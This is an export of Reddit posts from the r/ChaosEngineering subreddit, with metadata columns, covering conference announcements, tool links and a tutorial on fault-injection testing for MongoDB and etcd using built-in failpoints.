tiny fraction of people while you learn. 3. Use real-world messiness Don't invent scenarios. Think about what actually ruins your weekends. Network lag, disk space filling up, or a dependency suddenly becoming a black hole. Inject those specific things so your tests actually prepare you for the next 3 AM incident. 4. Automation is the final boss Running a ""chaos day"" once a quarter is fine, but the real value is when it’s automated. If it’s built into the CI/CD or running on a schedule, you catch the regressions immediately. It turns a ""firefighting"" culture into a ""prevention"" culture. I'm curious for the folks here: how many of you are actually allowed to run chaos experiments in prod? Or do you get blocked by management as soon as you mention it? ",geralt_3,6,0,1771125485,/r/ChaosEngineering/comments/1r540pm/chaos_engineering_is_actually_the_opposite_of/,https://www.reddit.com/r/ChaosEngineering/comments/1r540pm/chaos_engineering_is_actually_the_opposite_of/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 1p3sl1m,chaosengineering,"LitmusChaos has released an MCP server. Now you can do chaos engineering with just natural language. Checkout playlist their MCP playlist on YouTube to learn, how to setup and use the MCP.",,InfamousCaregiver545,2,0,1763816193,/r/ChaosEngineering/comments/1p3sl1m/litmuschaos_has_released_an_mcp_server_now_you/,https://www.youtube.com/playlist?list=PLmM1fgu30seW8SuAPxZOTLM7CB3WiH2IT,youtube.com,False,1,False,,arctic-shift,1781885551 1p3sb09,chaosengineering,LitmusChaos has released an MCP server. Now you can do chaos engineering with just natural language.,Here is the full playlist to get started!!,InfamousCaregiver545,1,0,1763815318,/r/ChaosEngineering/comments/1p3sb09/litmuschaos_has_released_an_mcp_server_now_you/,https://www.youtube.com/playlist?list=PLmM1fgu30seW8SuAPxZOTLM7CB3WiH2IT,youtube.com,False,1,False,,arctic-shift,1781885551 1ogehn4,chaosengineering,We just dropped a new “Getting Started with LitmusChaos” playlist on our YouTube channel!,"It’s a series of 10 videos that walk you through everything, from setting up LitmusChaos, exploring the ChaosCenter, creating probes, different installation methods, and even running your first chaos experimentWould love your feedback and suggestions on this playlist:)[https://www.youtube.com/playlist?list=PLmM1fgu30seVxW-Oobc7VOfPHbQAzICvS](https://www.youtube.com/playlist?list=PLmM1fgu30seVxW-Oobc7VOfPHbQAzICvS)",InfamousCaregiver545,1,0,1761463874,/r/ChaosEngineering/comments/1ogehn4/we_just_dropped_a_new_getting_started_with/,https://www.reddit.com/r/ChaosEngineering/comments/1ogehn4/we_just_dropped_a_new_getting_started_with/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 1dfqthg,chaosengineering,Chaos Engineering – Network Lag,,raghasundar1990,2,0,1718371626,/r/ChaosEngineering/comments/1dfqthg/chaos_engineering_network_lag/,https://blog.ycrash.io/chaos-engineering-network-lag/,blog.ycrash.io,False,1,False,,arctic-shift,1781885551 1cvisi1,chaosengineering,Chaos (fault) testing method for etcd and MongoDB,"https://preview.redd.it/wqrh8ahk5c1d1.png?width=824&format=png&auto=webp&s=5eee98a84c0072df8c688597c1b1acbbd113a104 Recently, I have been doing chaos (fault) tests on the robustness of some self-built database driver/client base libraries to verify and understand the fault handling mechanism and recovery time of the business. It mainly involves the two basic components MongoDB and etcd. This article will introduce the relevant test methods. # Fault test in MongoDB >MongoDB is a popular document database in the world, supporting ACID transactions, distributed and other features. Most of the articles on chaos (fault) testing of MongoDB in the community are simulated by processing monogd or mongos. For example, if you want MongoDB to trigger copy set switching, you can use a shell script like this: # suspended the primary node kill -s STOP # After the service is damaged, MongoDB should stepDown ReplicaSet in a few seconds to ten seconds. # After the stepDown is complete, the service can automatically switch the connection to the new working primary node, without manual intervention, the service will return to normal. # The reliability of the Mongo Client Driver is generally verified here. The above-mentioned means are generally system-level, if we just want to simulate a MongoDB command command encountered network problems, how to do further want to conduct more fine-grained testing. In fact, MongoDB in 4.x version above has implemented a set of controllable fault point simulation mechanism -> [failCommand](https://github.com/mongodb/mongo/wiki/The-failCommand-fail-point). When deploying a MongoDB replica set in a test environment, you can generally enable this feature in the following ways: mongod --setParameter enableTestCommands=1 Then we can open the fault point for a specific command through the mongo shell, for example, for a `find` operation to make it return error code 2: db.adminCommand({ configureFailPoint: ""failCommand"", mode: { ""times"": 1, }, data: {errorCode: 2, failCommands: [""find""]} }); These fault point simulations are controllable, and the cost is relatively low compared to the direct destruction on the machine, and it is also suitable for integrating into continuous integration automation processes. The MongoDB built-in fault point mechanism also supports many features, such as allowing a certain fault probability to occur, returning any MongoDB supported error code type, etc. Through this mechanism, we can easily verify the reliability of our own implementation of the MongoDB Client Driver in unit tests and integration tests. If you want to know which fault points the MongoDB supports, you can check the [specification](https://github.com/mongodb/specifications) provided by the MongoDB in detail, which mentions which fault points the driver can use for testing for each feature of the MongoDB. MongoDB, there are many examples in the dirver code repository of the official go implementation that can be: https://github.com/mongodb/mongo-go-driver/blob/345ea9574e28732ca4f9d7d3bb9c103c897a65b8/mongo/with\_transactions\_test.go#L122. # Fault test in etcd >etcd is an open source and highly available distributed key-value storage system, which is mainly used for shared configuration and service discovery. We mentioned earlier that MongoDB has a built-in controllable fault point injection mechanism to facilitate us to do fault point testing, so does etcd also provide it? Yes, etcd officials also provide a built-in controllable fault injection method to facilitate us to do fault simulation tests around etcd. However, the official binary distribution available for deployment does not use the fault injection feature by default, which is different from the switch provided by MongoDB. etcd requires us to manually compile the binary containing the fault injection feature from the source code for deployment. etcd has officially implemented a Go package [gofail](https://github.com/etcd-io/gofail) to do ""controllable"" fault point testing, which can control the probability and number of specific faults. gofail can be used in any Go implementation program. In principle, comments are used in the source code to bury some fault injection points in places where problems may occur through comments (`// gofail:`), which is biased towards testing and verification, for example: if t.backend.hooks != nil { // gofail: var commitBeforePreCommitHook struct{} t.backend.hooks.OnPreCommitUnsafe(t) // gofail: var commitAfterPreCommitHook struct{} } Before using `go build` to build the binary, use the command line tool `gofail enable` provided by gofail to cancel the comments of these fault injection related codes and generate the code related to the fault point, so that the compiled binary can be used for fine-grained testing of fault scenarios. Use `gofail disable` to remove the generated fault point related codes, the binary compiled with `go build` can be used in the production environment. When executing final binary, you can wake up the fault point through the environment variable `GOFAIL_FAILPOINTS`. if your binary program is a service that never stops, you can start an HTTP endpoint to wake up the buried fault point to the external test tool by `GOFAIL_HTTP` the environment variable at the same time as the program starts. The specific principle implementation can be seen in the design document of gofail-> [design](https://github.com/etcd-io/gofail/blob/master/doc/design.md). >It is worth mentioning that pingcap have rebuilt a wheel based on gofail and made many optimizations: failpoint related code should not have any additional overhead; Can not affect the normal function logic, can not have any intrusion on the function code; failpoint code must be easy to read, easy to write and can introduce compiler detection; In the generated code, the line number of the functional logic code cannot be changed (easy to debug); Next, let's look at how to enable these fault burial points in etcd. # Compile etcd for fault testing corresponding commands have been built into the Makefile of the official etcd github repository to help us quickly compile the binary etcd server containing fault points. the compilation steps are roughly as follows: git clone git@github.com:etcd-io/etcd.git cd etcd # generate failpoint relative code make gofail-enable # compile etcd bin file make build # Restore code make gofail-disable After the above steps, the compiled binary files can be directly seen in the `bin` directory. Let's start etcd to have a look: # enable http endpoint to control the failpoint GOFAIL_HTTP=""127.0.0.1:22381"" ./bin/etcd Use curl to see which failure points can be used: curl afterCommit= afterStartDBTxn= afterWritebackBuf= applyBeforeOpenSnapshot= beforeApplyOneConfChange= beforeApplyOneEntryNormal= beforeCommit= beforeLookupWhenForwardLeaseTimeToLive= beforeLookupWhenLeaseTimeToLive= beforeSendWatchResponse= beforeStartDBTxn= beforeWritebackBuf= commitAfterPreCommitHook= commitBeforePreCommitHook= compactAfterCommitBatch= compactAfterCommitScheduledCompact= compactAfterSetFinishedCompact= compactBeforeCommitBatch= compactBeforeCommitScheduledCompact= compactBeforeSetFinishedCompact= defragBeforeCopy= defragBeforeRename= raftAfterApplySnap= raftAfterSave= raftAfterSaveSnap= raftAfterWALRelease= raftBeforeAdvance= raftBeforeApplySnap= raftBeforeFollowerSend= raftBeforeLeaderSend= raftBeforeSave= raftBeforeSaveSnap= walAfterSync= walBeforeSync=http://127.0.0.1:22381 Knowing these fault points, you can set the fault type for the specified fault, as follows: # In beforeLookupWhenForwardLeaseTimeToLive failoint sleep 10 seconds curl -XPUT -d'sleep(10000)' # peek failpoint status curl sleep(1000)http://127.0.0.1:22381/beforeLookupWhenForwardLeaseTimeToLivehttp://127.0.0.1:22381/beforeLookupWhenForwardLeaseTimeToLive >For the description syntax of the failure point, see: [https://github.com/etcd-io/gofail/blob/master/doc/design.md#syntax](https://github.com/etcd-io/gofail/blob/master/doc/design.md#syntax) so far, we have been able to do some fault simulation tests by using the fault points built in etcd. how to use these fault points can refer to the official integration test implementation of etcd-> [etcd Robustness Testing](https://github.com/etcd-io/etcd/tree/main/tests/robustness). you can search for relevant codes by the name of the fault point. In addition to the above-mentioned built-in failure points of etcd, the official warehouse of etcd also provides a system-level integration test example-> [etcd local-tester](https://github.com/etcd-io/etcd/tree/main/tools/local-tester), which simulates the node downtime test in etcd cluster mode. Well, the sharing of this article is over for the time being ღ( ´･ᴗ･\` )\~ Commercial break: I recently maintenance can maintain multiple etcd server, etcdctl etcductl version of the tools [vfox-etcd](https://github.com/version-fox/vfox-etcd)), You can also use it to install multiple versions of etcd containing failpoint on the machine for chaos (failure simulation) tests!",CloudysYe,2,0,1716103836,/r/ChaosEngineering/comments/1cvisi1/chaos_fault_testing_method_for_etcd_and_mongodb/,https://www.reddit.com/r/ChaosEngineering/comments/1cvisi1/chaos_fault_testing_method_for_etcd_and_mongodb/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 1ar9ye3,chaosengineering,Conf42 Chaos Engineering 2024 Online Conference [Today],"This conference will cover: leveraging generative AI, MightyMeld Architecture, chaos in the cloud, chaos multi-domain scenarios, etc. If interested, follow the below link. [https://www.conf42.com/ce2024](https://www.conf42.com/ce2024) ​",Enrique-M,2,0,1707981839,/r/ChaosEngineering/comments/1ar9ye3/conf42_chaos_engineering_2024_online_conference/,https://www.reddit.com/r/ChaosEngineering/comments/1ar9ye3/conf42_chaos_engineering_2024_online_conference/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 1adxye7,chaosengineering,Reliability in the Face of Uncertainty,,Expired-Boysenberry,1,0,1706542159,/r/ChaosEngineering/comments/1adxye7/reliability_in_the_face_of_uncertainty/,https://oppia.fi/webinars/1367/reliability-in-the-face-of-uncertainty,oppia.fi,False,1,False,,arctic-shift,1781885551 186lis8,chaosengineering,Khaos: a Kubernetes operator for Chaos Engineering,,0111001101110010,1,0,1701250162,/r/ChaosEngineering/comments/186lis8/khaos_a_kubernetes_operator_for_chaos_engineering/,https://github.com/stackzoo/khaos,github.com,False,1,False,,arctic-shift,1781885551 1853jkl,chaosengineering,Break Your System Constructively using Chaos Mesh,"**Break Your System Constructively⚡** Chaos Mesh is a chaos engineering platform that is designed to help developers and SREs identify the system's weaknesses before they cause problems in the production environment. The best part of the chaos mesh experiment is you can create your own workflow, schedule it at your own time and customize it with respect to your own microservice. If you are very keen to know about: 1) Different types of Chaos experiments to perform🏗️ 2) **Practical Implementation of Chaos in your own microservice from end-to-end**💯 You should **read this insightful blog** which covers all your doubts and also do let me know what chaos tools you use in your organization. [https://www.onepane.ai/blog/run-chaos-experiments-using-chaos-mesh](https://www.onepane.ai/blog/run-chaos-experiments-using-chaos-mesh) ​",Onepane,1,0,1701093484,/r/ChaosEngineering/comments/1853jkl/break_your_system_constructively_using_chaos_mesh/,https://www.reddit.com/r/ChaosEngineering/comments/1853jkl/break_your_system_constructively_using_chaos_mesh/,self.ChaosEngineering,True,0.6700000166893005,False,,arctic-shift,1781885551 16q28y3,chaosengineering,Super Charging Cloud Detection & Response with Security Chaos Engineering,"Effective Cloud Detection & Response (CDR) strategies are imperative for promptly identifying and responding to cloud security events.  However, enabling efficient CDR strategies is challenging for several reasons, including cloud complexities, insufficient expertise, and cloud misconfiguration.  This article makes a case for leveraging security chaos engineering to address these challenges.  Defenders can leverage security chaos engineering for threat-hunting efforts to identify CDR blindspots proactively.  Some practical examples are illustrated using Mitigant Cloud Immunity and a hybrid CDR system. ​ [https://www.mitigant.io/blog/super-charging-cloud-detection-response-with-security-chaos-engine](https://www.mitigant.io/blog/super-charging-cloud-detection-response-with-security-chaos-engineering)\# . ",run2obtain,2,0,1695468967,/r/ChaosEngineering/comments/16q28y3/super_charging_cloud_detection_response_with/,https://www.reddit.com/r/ChaosEngineering/comments/16q28y3/super_charging_cloud_detection_response_with/,self.ChaosEngineering,True,0.7599999904632568,False,,arctic-shift,1781885551 16q27at,chaosengineering,uper Charging Cloud Detection & Response with Security Chaos Engineering,"Effective Cloud Detection & Response (CDR) strategies are imperative for promptly identifying and responding to cloud security events.  However, enabling efficient CDR strategies is challenging for several reasons, including cloud complexities, insufficient expertise, and cloud misconfiguration.  This article makes a case for leveraging security chaos engineering to address these challenges.  Defenders can leverage security chaos engineering for threat-hunting efforts to identify CDR blindspots proactively.  Some practical examples are illustrated using [Mitigant](https://mitigant.io) Cloud Immunity and a hybrid CDR system [https://www.mitigant.io/blog/super-charging-cloud-detection-response-with-security-chaos-engineering](https://www.mitigant.io/blog/super-charging-cloud-detection-response-with-security-chaos-engineering)",run2obtain,1,0,1695468813,/r/ChaosEngineering/comments/16q27at/uper_charging_cloud_detection_response_with/,https://www.reddit.com/r/ChaosEngineering/comments/16q27at/uper_charging_cloud_detection_response_with/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 16jtbtr,chaosengineering,Windows tooling,"What are people using on windows? (OSS) looks to be a distinct lack of tooling that supports windows / powershell etc Thanks",Ok-Conference-7563,2,2,1694823297,/r/ChaosEngineering/comments/16jtbtr/windows_tooling/,https://www.reddit.com/r/ChaosEngineering/comments/16jtbtr/windows_tooling/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 16b1upi,chaosengineering,How Amazon.com Search Uses Chaos Engineering to Handle Over 84K Requests Per Second,"[**https://bit.ly/search\_chaos\_engineering**](https://bit.ly/search_chaos_engineering) https://preview.redd.it/lgcnknbqfimb1.png?width=717&format=png&auto=webp&s=5cd03e6096aa4de603b0d9a076654731c1a16ece",setheliot,2,0,1693951588,/r/ChaosEngineering/comments/16b1upi/how_amazoncom_search_uses_chaos_engineering_to/,https://www.reddit.com/r/ChaosEngineering/comments/16b1upi/how_amazoncom_search_uses_chaos_engineering_to/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 169nar2,chaosengineering,Arlo Sinclair floppy disk painting!,,Nerdy_Collector_,2,1,1693819309,/r/ChaosEngineering/comments/169nar2/arlo_sinclair_floppy_disk_painting/,https://i.redd.it/krd2z71ci7mb1.jpg,i.redd.it,False,1,False,,arctic-shift,1781885551 15so6o3,chaosengineering,The Resilience Potion and Security Chaos Engineering,,Antique-human6894,2,0,1692187938,/r/ChaosEngineering/comments/15so6o3/the_resilience_potion_and_security_chaos/,https://youtu.be/AxqX9ovGViw?list=PLEx5khR4g7PJlBM-JgWAAVhZmz5lIMTGY,youtu.be,False,1,False,,arctic-shift,1781885551 14a4k3b,chaosengineering,Chaos Engineering: Efficient Way to Improve System Availability,,BellaHi,1,0,1686841041,/r/ChaosEngineering/comments/14a4k3b/chaos_engineering_efficient_way_to_improve_system/,https://shardingsphere.medium.com/chaos-engineering-efficient-way-to-improve-system-availability-5a751ee535eb?source=friends_link&sk=3cad8705cc5b116e8c7127e571975b4f,shardingsphere.medium.com,False,1,False,,arctic-shift,1781885551 13y3bjf,chaosengineering,Chaos Engineering with a twist of color? 🎨,,freelancerhasnolord,3,0,1685681412,/r/ChaosEngineering/comments/13y3bjf/chaos_engineering_with_a_twist_of_color/,https://steadybit.com/blog/painting-chaos-how-our-new-colour-scheme-is-taking-chaos-engineering-to-the-next-level,steadybit.com,False,0.8100000023841858,False,,arctic-shift,1781885551 12kppfm,chaosengineering,Unleashing Chaos: Improving System Resilience with Chaos Monkey,"Chaos Monkey is a tool made by Netflix that makes things go wrong on purpose in a computer system. It does this during normal working hours by shutting down parts of the system randomly. This helps software developers find and fix problems so that the system can keep working even when bad things happen unexpectedly. But Chaos Monkey can also cause problems like losing data or making the system stop working altogether. Not every organisation should use it, but other tools like Gremlin have been made that give more control to users when they want to do chaos experiments and select blast radius etc. [https://amithimani.substack.com/p/unleashing-chaos-improving-system](https://amithimani.substack.com/p/unleashing-chaos-improving-system) ​ https://preview.redd.it/iywpi1aeonta1.png?width=220&format=png&auto=webp&s=c4d3d4dd411f541180cec3cf9a4f504db11601b4",amithimani,2,0,1681393443,/r/ChaosEngineering/comments/12kppfm/unleashing_chaos_improving_system_resilience_with/,https://www.reddit.com/r/ChaosEngineering/comments/12kppfm/unleashing_chaos_improving_system_resilience_with/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 wk44ee,chaosengineering,Don’t do this with your k8s health checks,"**Link:** [https://doordash.engineering/2022/08/09/how-to-handle-kubernetes-health-checks/](https://doordash.engineering/2022/08/09/how-to-handle-kubernetes-health-checks/) After suffering an outage on black friday our team realized the root cause came from our poor understanding of how Kubernetes probes ( health checks) worked. To help spread awareness and how to correctly utilize these features we wrote this blog post that dives into our outage, how we diagnosed the issue and how correctly handle health checks. As a member of our *SRE* team, we often get a chance to be a part of a team working on complex *incidents* and rarely have time nor ability to share the knowledge outside the organization. In this *incident* we were able to extract some knowledge we believe will help others avoid similar issues. P.S And we are always hiring, come work with us",m1dN05,3,0,1660053747,/r/ChaosEngineering/comments/wk44ee/dont_do_this_with_your_k8s_health_checks/,https://www.reddit.com/r/ChaosEngineering/comments/wk44ee/dont_do_this_with_your_k8s_health_checks/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 w2q7uz,chaosengineering,"Security Chaos Engineering • Kelly Shortridge, Aaron Rinehart & Mark Miller",,goto-con,2,0,1658229373,/r/ChaosEngineering/comments/w2q7uz/security_chaos_engineering_kelly_shortridge_aaron/,https://open.spotify.com/episode/3N0vmKx1mzragJxLQERYhd?si=8YAzibitTk-_NBce7HZXvg,open.spotify.com,False,1,False,,arctic-shift,1781885551 uyfcrh,chaosengineering,"Security Chaos Engineering • Kelly Shortridge, Aaron Rinehart & Mark Miller",,goto-con,1,0,1653593120,/r/ChaosEngineering/comments/uyfcrh/security_chaos_engineering_kelly_shortridge_aaron/,https://youtu.be/0T0IOXjL660,youtu.be,False,1,False,,arctic-shift,1781885551 uid5fe,chaosengineering,KUBECON EU 2022,"KubeCon EU 2022 is just around the corner and LitmusChaos is all set for its Project Meeting on 16th May (Monday) at 13:00 to 17:00 hours CEST in Valencia, Spain. Register now to book your seats NOW (limited seats available)! https://linuxfoundation.surveymonkey.com/r/WCPMX6R",saritabehera,2,0,1651688866,/r/ChaosEngineering/comments/uid5fe/kubecon_eu_2022/,https://www.reddit.com/r/ChaosEngineering/comments/uid5fe/kubecon_eu_2022/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 ucn0nb,chaosengineering,Applying academic resilience research to improve the resilience of DoorDash,"As a PhD student at Carnegie Mellon University, I have been working for two years on developing an automated resilience testing tool called Filibuster to identify resilience bugs that have caused outages in order to better understand how they can be prevented in the future.   I joined DoorDash as an intern during the summer of 2021 to test Filibuster’s applicability to the DoorDash platform. My work produced positive preliminary results along those lines, while also affording me an opportunity to extend Filibuster’s core algorithms and to implement support for new programming languages and RPC frameworks. I wanted to share some of the results of my work and how bringing Filibuster to DoorDash has enhanced not only Filibuster, but has paved the way for a new style of resilience testing for DoorDash’s engineers.  [https://doordash.engineering/2022/04/25/using-fault-injection-testing-to-improve-doordash-reliability/](https://doordash.engineering/2022/04/25/using-fault-injection-testing-to-improve-doordash-reliability/) We are greatly interested in your feedback on our approach!",cmeiklejohn,3,0,1651007886,/r/ChaosEngineering/comments/ucn0nb/applying_academic_resilience_research_to_improve/,https://www.reddit.com/r/ChaosEngineering/comments/ucn0nb/applying_academic_resilience_research_to_improve/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 rznmw7,chaosengineering,CHAOS CARNIVAL 2022,"Join us in being part of the biggest Chaos Engineering conference - CHAOS CARNIVAL 2022 this 27th to 28th January! From \[LIVE\] Chaos Panel to insightful talks on Chaos Engineering and Cloud-Native, check out the schedule and register now at: https://chaoscarnival.io/register",saritabehera,2,0,1641719177,/r/ChaosEngineering/comments/rznmw7/chaos_carnival_2022/,https://www.reddit.com/r/ChaosEngineering/comments/rznmw7/chaos_carnival_2022/,self.ChaosEngineering,True,0.6600000262260437,False,,arctic-shift,1781885551 rr3lnp,chaosengineering,Share your #ChaosMeshStory!,"🐒 [Chaos Mesh](https://github.com/chaos-mesh/chaos-mesh) will turn 2 on 2021.12.31! We're grateful for every contribution that helped this project grow, and we’d like to hear your Chaos Mesh story! Share your [\#ChaosMeshStory](https://twitter.com/hashtag/ChaosMeshStory?src=hashtag_click) and win a Chaos Mesh Tee! For more details check out: [https://chaos-mesh.org/blog/share-your-chaos-mesh-story/](https://chaos-mesh.org/blog/share-your-chaos-mesh-story/)",mila_superstar2121,3,0,1640767745,/r/ChaosEngineering/comments/rr3lnp/share_your_chaosmeshstory/,https://www.reddit.com/r/ChaosEngineering/comments/rr3lnp/share_your_chaosmeshstory/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 rqa57r,chaosengineering,CHAOS CARNIVAL 2022,"ChaosNative is back with Chaos Carnival 2.0 this January 2022! A 2-day ChaosEngineering conference worth remembering! With 30+ chaos sessions, \[LIVE\] Chaos Panel, and exclusive workshops, this conference is going to be the perfect mixture for SREs, QA Engineers, and Cloud-Native Developers which you do not want to miss! Register here: https://chaoscarnival.io/register",saritabehera,4,0,1640676924,/r/ChaosEngineering/comments/rqa57r/chaos_carnival_2022/,https://www.reddit.com/r/ChaosEngineering/comments/rqa57r/chaos_carnival_2022/,self.ChaosEngineering,True,0.9900000095367432,False,,arctic-shift,1781885551 rqa4xf,chaosengineering,CHAOS CARNIVAL 2022,[deleted],[deleted],1,0,1640676891,/r/ChaosEngineering/comments/rqa4xf/chaos_carnival_2022/,https://i.redd.it/eeuk1ik6l8881.png,i.redd.it,False,1,False,,arctic-shift,1781885551 r75pwj,chaosengineering,Chaos Engineering – Simulating CPU Spike,,mike_jack,2,0,1638445602,/r/ChaosEngineering/comments/r75pwj/chaos_engineering_simulating_cpu_spike/,https://blog.fastthread.io/2021/02/24/chaos-engineering-simulating-cpu-spike/,blog.fastthread.io,False,1,False,,arctic-shift,1781885551 r72msr,chaosengineering,CNCE WORKSHOP #5,"The ChaosNative community is glad to invite you to the fourth Cloud-Native Chaos Engineering workshop where you can network with tech geeks around the world. Get yourself exposed to the world of resiliency and reliability. Mark your calendars for 9th December 2021, 9 PM IST Register here: https://www.chaosnative.com/cnce-workshop",saritabehera,3,0,1638432953,/r/ChaosEngineering/comments/r72msr/cnce_workshop_5/,https://www.reddit.com/r/ChaosEngineering/comments/r72msr/cnce_workshop_5/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 qznfwg,chaosengineering,CHAOS CARNIVAL 2022," Hello people! I hope you have registered for Chaos Carnival 2022 already? The 2-day global level conf. all about Chaos Engineering! Some amazing speakers are already announced! CFPs close on the 30th of November! Submit a talk or register as an attendee for FREE here: [https://chaoscarnival.io](https://chaoscarnival.io/)/ [\#chaosengineering](https://www.linkedin.com/feed/hashtag/?keywords=chaosengineering&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6866394907465134080) [\#cloudnative](https://www.linkedin.com/feed/hashtag/?keywords=cloudnative&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6866394907465134080)",saritabehera,3,0,1637593540,/r/ChaosEngineering/comments/qznfwg/chaos_carnival_2022/,https://www.reddit.com/r/ChaosEngineering/comments/qznfwg/chaos_carnival_2022/,self.ChaosEngineering,True,0.9900000095367432,False,,arctic-shift,1781885551 qq4kq1,chaosengineering,Chaos Carnival 2022,"ChaosNative will be hosting the second edition of Chaos Carnival, a global two-day conference for all tech enthusiasts, that is happening on January 27th & 28th. Check out this amazing blog by Prithvi Raj to gain full insights on Chaos Carnival's previous edition and stay tuned for the upcoming one! https://www.chaosnative.com/blog/chaos\_carnival\_2022\_announcement",saritabehera,2,1,1636467282,/r/ChaosEngineering/comments/qq4kq1/chaos_carnival_2022/,https://www.reddit.com/r/ChaosEngineering/comments/qq4kq1/chaos_carnival_2022/,self.ChaosEngineering,True,0.75,False,,arctic-shift,1781885551 qlceww,chaosengineering,A TCP proxy to simulate network and system conditions for chaos and resiliency testing,,binaryfor,2,0,1635882177,/r/ChaosEngineering/comments/qlceww/a_tcp_proxy_to_simulate_network_and_system/,https://github.com/shopify/toxiproxy,github.com,False,1,False,,arctic-shift,1781885551 qcnqim,chaosengineering,HACKTOBERFEST 2021,"ChaosNative launches the 3rd edition of Hacktoberfest 2021! Join us in expanding your network and kickstart your learning and contribution to open-source. Here are some quick ways to contribute to LitmusChaos!  Check out our GitHub Repository at: [https://lnkd.in/dJySQz2](https://lnkd.in/dJySQz2) Join our community for more insights! To join our slack community please follow the following steps! Step 1: Join the Kubernetes slack using the following link: [https://slack.k8s.io](https://slack.k8s.io/)/ Step 2: Join the [\#litmus](https://www.linkedin.com/feed/hashtag/?keywords=litmus&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6856860707829506048) channel on the Kubernetes slack or use this link after joining the Kubernetes slack: [https://lnkd.in/gETGV2m](https://lnkd.in/gETGV2m) [\#community](https://www.linkedin.com/feed/hashtag/?keywords=community&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6856860707829506048) [\#learning](https://www.linkedin.com/feed/hashtag/?keywords=learning&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6856860707829506048) [\#kubernetes](https://www.linkedin.com/feed/hashtag/?keywords=kubernetes&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6856860707829506048) [\#network](https://www.linkedin.com/feed/hashtag/?keywords=network&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6856860707829506048) [\#github](https://www.linkedin.com/feed/hashtag/?keywords=github&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6856860707829506048)",saritabehera,1,0,1634807576,/r/ChaosEngineering/comments/qcnqim/hacktoberfest_2021/,https://www.reddit.com/r/ChaosEngineering/comments/qcnqim/hacktoberfest_2021/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 q6ky3q,chaosengineering,Chaos Engineering panel discussion,,asc2450,2,0,1634041331,/r/ChaosEngineering/comments/q6ky3q/chaos_engineering_panel_discussion/,https://youtu.be/RauEyUL_iio?list=PLEx5khR4g7PKSASVAXXiAhkyx02_OeruP,youtu.be,False,0.75,False,,arctic-shift,1781885551 q2g7uf,chaosengineering,[deleted by user],[removed],[deleted],1,0,1633509020,/r/ChaosEngineering/comments/q2g7uf/deleted_by_user/,https://www.reddit.com/r/ChaosEngineering/comments/q2g7uf/deleted_by_user/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 q1vgfv,chaosengineering,CNCE WORKSHOP #3,"The ChaosNative community is glad to invite you to the Cloud-Native Chaos Engineering Workshop #3 where you can network with tech geeks around the world. Get yourself exposed to the world of resiliency and reliability. We will be having interactive talks and discussions with our experts about: 1. Hands-on experience with a workshop on Cloud Native Chaos Engineering which introduces you to the basics & fundamentals of Chaos Engineering. 2. A sneak-peek at the latest evolution in the Cloud Native Chaos Engineering world with LitmusChaos 2.0. 3. A demonstration of running Chaos experiments in just a few steps! Mark your calendars for 21st October 2021, 9 PM IST Register here: https://www.chaosnative.com/cnce-workshop",saritabehera,2,0,1633437281,/r/ChaosEngineering/comments/q1vgfv/cnce_workshop_3/,https://www.reddit.com/r/ChaosEngineering/comments/q1vgfv/cnce_workshop_3/,self.ChaosEngineering,True,0.75,False,,arctic-shift,1781885551 px85mq,chaosengineering,CNCE WORKSHOP #3,"Hello, everyone! The ChaosNative community is glad to invite you to the Cloud-Native Chaos Engineering workshop where we will introduce for the first time the all-new ChaosNative Litmus Cloud. We will be having interactive talks and discussions with our experts about: 1. Deep-dive into Non-K8s Chaos with Cross-Cloud experiments 2. Hands-on demo of a cross-cloud chaos workflow 3. Introduction to ChaosNative Litmus Cloud 4. How to get started with ChaosNative Litmus Cloud Mark your calendars for 21st October 2021, 9 PM IST Register here: https://www.chaosnative.com/cnce-workshop",saritabehera,3,0,1632840955,/r/ChaosEngineering/comments/px85mq/cnce_workshop_3/,https://www.reddit.com/r/ChaosEngineering/comments/px85mq/cnce_workshop_3/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 pt9r81,chaosengineering,Kubernetes Chaos Engineering Meetup,"Hello people! This last Saturday of September, the LitmusChaos community is glad to invite you to the Kubernetes Chaos Engineering meeting where our community members discuss everything about Kubernetes, LitmusChaos as a project & Chaos Engineering. The updates, the use-cases, suggestions & queries! Mark your calendars for 25th September 2021, 11 AM IST To join our Slack community: https://lnkd.in/gETGV2m To get your calendar invite, please fill in the Google form: https://lnkd.in/gUmEcKQN",saritabehera,1,0,1632323997,/r/ChaosEngineering/comments/pt9r81/kubernetes_chaos_engineering_meetup/,https://www.reddit.com/r/ChaosEngineering/comments/pt9r81/kubernetes_chaos_engineering_meetup/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 pnbje6,chaosengineering,[deleted by user],[removed],[deleted],1,0,1631522649,/r/ChaosEngineering/comments/pnbje6/deleted_by_user/,https://www.reddit.com/r/ChaosEngineering/comments/pnbje6/deleted_by_user/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 pfu89x,chaosengineering,CNCE Workshop #2,"The ChaosNative community is glad to invite you to Cloud Native Chaos Engineering workshop where you can network with tech geeks around the world. Get yourself exposed to the world of resiliency and reliability. Mark your calendars for 9th September 2021, 9 PM IST Register here: https://www.chaosnative.com/cnce-workshop",saritabehera,2,1,1630503991,/r/ChaosEngineering/comments/pfu89x/cnce_workshop_2/,https://www.reddit.com/r/ChaosEngineering/comments/pfu89x/cnce_workshop_2/,self.ChaosEngineering,True,0.75,False,,arctic-shift,1781885551 